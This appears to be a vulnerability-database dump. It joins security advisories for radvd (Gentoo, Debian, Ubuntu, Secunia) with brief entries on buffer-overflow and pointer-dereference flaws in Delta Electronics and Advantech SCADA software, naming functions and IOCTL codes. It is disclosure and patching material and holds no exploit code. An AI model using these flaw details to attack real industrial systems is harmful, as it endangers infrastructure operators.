-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/radvd < 1.8.2 >= 1.8.2
Description
===========
Multiple vulnerabilities have been discovered in radvd. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All radvd users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2"
References
==========
[ 1 ] CVE-2011-3601
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601
[ 2 ] CVE-2011-3602
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602
[ 3 ] CVE-2011-3603
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603
[ 4 ] CVE-2011-3604
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604
[ 5 ] CVE-2011-3605
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201111-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------------
Debian Security Advisory DSA-2323-1 security@debian.org
http://www.debian.org/security/ Yves-Alexis Perez
October 26, 2011 http://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : radvd
Vulnerability : several
Problem type : remote
Debian-specific: no
CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605
Debian Bug : 644614
Multiple security issues were discovered by Vasiliy Kulikov in radvd, an
IPv6 Router Advertisement daemon:
CVE-2011-3602
set_interface_var() function doesn't check the interface name, which is
chosen by an unprivileged user.
CVE-2011-3604
process_ra() function lacks multiple buffer length checks which could
lead to memory reads outside the stack, causing a crash of the daemon.
CVE-2011-3605
process_rs() function calls mdelay() (a function to wait for a defined
time) unconditionnally when running in unicast-only mode. As this call
is in the main thread, that means all request processing is delayed (for
a time up to MAX_RA_DELAY_TIME, 500 ms by default).
Note: upstream and Debian default is to use anycast mode.
For the oldstable distribution (lenny), this problem has been fixed in
version 1:1.1-3.1.
For the stable distribution (squeeze), this problem has been fixed in
version 1:1.6-1.1.
For the testing distribution (wheezy), this problem has been fixed in
version 1:1.8-1.2.
For the unstable distribution (sid), this problem has been fixed in
version 1:1.8-1.2.
We recommend that you upgrade your radvd packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
iEYEARECAAYFAk6q2QcACgkQXm3vHE4uylqlEQCgpdFwHzpKLF6KHlJs4y/ykeo/
oEYAniJXFaff25pMtXzM6Ovu8zslZm7H
=VfHu
-----END PGP SIGNATURE-----
|
|
var-201402-0026
|
Buffer overflow in the process_ra function in the router advertisement daemon (radvd) before 1.8.2 allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a negative value in a label_len value. radvd is prone to the follow security vulnerabilities:
1. Multiple local privilege-escalation vulnerability.
2. A local arbitrary file-overwrite vulnerability.
3. Multiple remote denial-of-service vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. A buffer overflow vulnerability exists in the 'process_ra' function in radvd 1.8.1 and earlier. ==========================================================================
Ubuntu Security Notice USN-1257-1
November 10, 2011
radvd vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.10
- Ubuntu 10.04 LTS
Summary:
radvd could be made to crash or overwrite certain files if it received
specially crafted network traffic.
Software Description:
- radvd: Router Advertisement Daemon
Details:
Vasiliy Kulikov discovered that radvd incorrectly parsed the
ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected
releases should reduce the vulnerability to a denial of service. This issue
only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601)
Vasiliy Kulikov discovered that radvd incorrectly filtered interface names
when creating certain files.
(CVE-2011-3602)
Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604)
Vasiliy Kulikov discovered that radvd incorrectly handled delays when used
in unicast mode, which is not the default in Ubuntu. If used in unicast
mode, a remote attacker could cause radvd outages, resulting in a denial of
service. (CVE-2011-3605)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 11.10:
radvd 1:1.8-1ubuntu0.1
Ubuntu 11.04:
radvd 1:1.7-1ubuntu0.1
Ubuntu 10.10:
radvd 1:1.6-1ubuntu0.1
Ubuntu 10.04 LTS:
radvd 1:1.3-1.1ubuntu0.1
In general, a standard system update will make all the necessary changes.
References:
http://www.ubuntu.com/usn/usn-1257-1
CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605
Package Information:
https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1
https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1
. ----------------------------------------------------------------------
Secunia is hiring!
Find your next job here:
http://secunia.com/company/jobs/
----------------------------------------------------------------------
TITLE:
Gentoo update for radvd
SECUNIA ADVISORY ID:
SA46930
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/46930/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
RELEASE DATE:
2011-11-21
DISCUSS ADVISORY:
http://secunia.com/advisories/46930/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/46930/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=46930
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Gentoo has issued an update for radvd.
For more information:
SA46200
SOLUTION:
Update to "net-misc/radvd-1.8.2" or later.
ORIGINAL ADVISORY:
GLSA 201111-08:
http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml
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Gentoo Linux Security Advisory GLSA 201111-08
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http://security.gentoo.org/
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Severity: High
Title: radvd: Multiple vulnerabilities
Date: November 20, 2011
Bugs: #385967
ID: 201111-08
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Synopsis
========
Multiple vulnerabilities have been found in radvd which could
potentially lead to privilege escalation, data loss, or a Denial of
Service.
Background
==========
radvd is an IPv6 router advertisement daemon for Linux and BSD.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/radvd < 1.8.2 >= 1.8.2
Description
===========
Multiple vulnerabilities have been discovered in radvd. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All radvd users should upgrade to the latest stable version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2"
References
==========
[ 1 ] CVE-2011-3601
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601
[ 2 ] CVE-2011-3602
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602
[ 3 ] CVE-2011-3603
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603
[ 4 ] CVE-2011-3604
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604
[ 5 ] CVE-2011-3605
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201111-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
|
|
var-201803-1810
|
A Stack-based Buffer Overflow issue was discovered in Delta Electronics Delta Industrial Automation DOPSoft, Version 4.00.01 or prior. Stack-based buffer overflow vulnerabilities caused by processing specially crafted .dop or .dpb files may allow an attacker to remotely execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the BackgroundMacro structure in a DPA file. An attacker can leverage this vulnerability to execute code under the context of the current process |
|
var-201810-0396
|
Advantech WebAccess 8.3.1 and earlier has several stack-based buffer overflow vulnerabilities that have been identified, which may allow an attacker to execute arbitrary code. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwclient.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech (Advantech) WebAccess software is the core of Advantech's IoT application platform solution, providing users with a user interface based on HTML5 technology to achieve cross-platform and cross-browser data access experience. A stack buffer overflow vulnerability exists in Advantech WebAccess. Advantech WebAccess is prone to the following security vulnerabilities:
1. A directory-traversal vulnerability
3. An arbitrary-file-deletion vulnerability
4. This may aid in further attacks.
Advantech WebAccess 8.3.1 and prior versions are vulnerable |
|
var-201906-1029
|
In WebAccess/SCADA Versions 8.3.5 and prior, multiple untrusted pointer dereference vulnerabilities may allow a remote attacker to execute arbitrary code. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2776 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment |
|
var-201702-0423
|
An issue was discovered in Delta Electronics WPLSoft, Versions prior to V2.42.11, ISPSoft, Versions prior to 3.02.11, and PMSoft, Versions prior to2.10.10. There are multiple instances of heap-based buffer overflows that may allow malicious files to cause the execution of arbitrary code or a denial of service. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation ISPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of dvp files. The process does not properly validate the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of current process. Delta Electronics WPLSoft and others are software control platforms used by Delta Electronics to edit the Delta DVP series of programmable logic controllers (PLCs). A heap buffer overflow vulnerability exists in several Delta Electronics products |
|
var-201801-0151
|
A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple instances of a vulnerability that allows too much data to be written to a location on the stack. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the parsing of the command line in the bwmail utility. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:
1. Multiple denial-of-service vulnerabilities
2. Multiple stack-based buffer-overflow vulnerabilities
3. A directory-traversal vulnerability
4. An SQL-injection vulnerability
5. Failed attacks will cause denial of service conditions.
versions prior to Advantech WebAccess 8.3 are vulnerable |